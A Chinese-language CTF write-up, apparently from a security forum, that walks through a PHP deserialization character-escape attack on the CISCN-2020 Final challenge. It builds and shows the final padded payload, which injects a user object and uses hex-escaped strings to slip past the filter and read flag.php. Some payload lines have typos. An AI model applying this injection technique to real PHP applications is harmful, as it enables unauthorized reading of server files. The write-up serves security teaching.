这是一道比较简单的例子,接下来我们看一道比赛真题CISCN-2020Final

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
if (isset($_POST['old_password'])
    && isset($_POST['update_password'])
    && isset($_POST['update_age'])
    && isset($_POST['update_email'])
    && is_string($_POST['old_password'])
    && is_string($_POST['update_password'])
    && is_string($_POST['update_age'])
    && is_string($_POST['update_email'])
)
{
    if ( preg_match('/[^\d]/', $_POST['update_age']) || !filter_var($_POST['update_email'], FILTER_VALIDATE_EMAIL)
    || strlen($_POST['update_password']) > 16 || preg_match('/\W/', $_POST['update_password']) )
    $user -> alterMes("invalid information", "./dashboard.php");
$update_profile = array(
    "old_password" => $_POST['old_password'],
    "old_real_password" => $user->password,
    "password" => $_POST['update_password'],
    "age" => $_POST['update_age'],
    "email" => $_POST['update_email']
);
$user -> update(serialize($update_profile));
}

PS:关键代码截取

 

这里的功能就是更新资料的时候,需要你提供old_password,update_password,update_age,update_email的内容,然后会对提供的数据进行过滤

1
2
preg_match('/[^\d]/', $_POST['update_age']) || !filter_var($_POST['update_email'], FILTER_VALIDATE_EMAIL)
    || strlen($_POST['update_password']) > 16 || preg_match('/\W/', $_POST['update_password'])

首先update_age只能够是数字类型,然后update_email只能够是邮箱类型,然后update_password的数据长度只能够小于等于16,而且内容只能够是一些字符,如果这些参数全都正常的话就会构造一个名为$update_profile的数组

1
2
3
4
5
6
7
$update_profile = array(
    "old_password" => $_POST['old_password'],
    "old_real_password" => $user->password,
    "password" => $_POST['update_password'],
    "age" => $_POST['update_age'],
    "email" => $_POST['update_email']
);

观察数组,我们可以发现old_password是没有做限制的,所以我们可以对old_password进行一个利用

 

然后将数据都转换成数组之后,又序列化并且经过update函数传入$user

 

我们来看看update函数

 

1646142142053

 

首先将序列化之后的字符串,传入waf,然后再经过反序列化传入$data

 

然后这里的waf其实和上一题的waf差不多,只是过滤的条件增加了,上一题只有单调的flag,但是这一题有flag,php等等

 

上一题的利用点其实是A类中的__destruct函数,而这一题的利用点也是__destruct函数

 

它首先会严重是否设置了username等内容,然后会得到这个头像的文件的内容,将其以base64的方式输出出来

 

首先我们需要知道我们要逃逸那些字符串

 

首先 是";我们需要将前面的内容闭合掉

 

然后是我们自己需要利用到的东西,因为是在数组中,我们需要按照数组的格式进行构造

 

首先是 i:0;O:4:"user" 键随便取,取0,然后我们需要利用的对象,对象名称长度为4,为user

 

因为__destruct函数要检测password等值是否存在,所以这些值我们都需要给他构造出来

 

:6:{s:8:"username";i:0;s:8:"password";i:0;s:3:"age";i:0;s=5:"email";i:0;s:13:"%00User%00content";i=0;s:12:"%00User%00avatar";}

 

因为那便是content属性,所以要加%00,还有一个私有属性也需要加%00

 

因为这道题的flag也在flag.php中,所以我们先直接写flag.php进行测试,然后还需要再最后多加一个},闭合整个数组

 

所以目前payload

1
";i:0;O:4:"user":6:{s:8:"username";i:0;s:8:"password";i:0;s:3:"age";i:0;s=5:"email";i:0;s:13:"%00User%00content";i=0;s:12:"%00User%00avatar";s:8:"flag.php"}}

但是我们的数组是有五个键值的,我们闭合整个数组只有两个键值,所以会导致序列化报错,所以我们还需要再后面构造三个键值,得到测试payload

1
";i:0;O:4:"user":6:{s:8:"username";i:0;s:8:"password";i:0;s:3:"age";i:0;s=5:"email";i:0;s:13:"%00User%00content";i=0;s:12:"%00User%00avatar";s:8:"flag.php"};i:1;N;i:2;N;i:3;N}

但是这个payload还有一个小问题,就是flag.php,flag.php也是属于flag的,所以会被替换掉,替换为index.php,就会导致错误,

 

所以这里我们就利用反序列化的特性,用大写的S,然后字符串用十六进制表示,然后它们会把十六进制变为字符串再解析

 

所以得到payload

1
";i:0;O:4:"user":6:{s:8:"username";i:0;s:8:"password";i:0;s:3:"age";i:0;s=5:"email";i:0;s:13:"%00User%00content";i=0;s:12:"%00User%00avatar";S:8:"\66\6c\61\67\2E\70\68\70"};i:1;N;i:2;N;i:3;N}

那么构造出来之后我们就要计算有多长了,如果我们直接选中计算,发现有193个单位,但是这个是不准确的,因为我们构造的payload中有%00,而%00相当于一个单位,所以最终的单位为185

 

所以我们需要利用waf得到185的溢出空间

 

所以最终最终的payload

1
flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";i:0;O:4:"user":6:{s:8:"username";i:0;s:8:"password";i:0;s:3:"age";i:0;s=5:"email";i:0;s:13:"%00User%00content";i=0;s:12:"%00User%00avatar";S:8:"\66\6c\61\67\2E\70\68\70"};i:1;N;i:2;N;i:3;N}

提交数据,服务器就会把flag.php的内容给base64编码出来

 

总结:这几题主要都是要利用题目本身的waf,进行利用,然后利用waf的缺陷得到溢出的空间,然后填充我们恶意的序列化之后的字符串,需要注意的是本身序列化之后有多少的数据,几个键值,都不能少,否则会导致反序列化报错

 

这个是属于增加字符串溢出,当然还有减少字符串的反序列化题目,不过大体上的知识点差不多


[2022夏季班]《安卓高级研修班(网课)》月薪三万班招生中~

收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回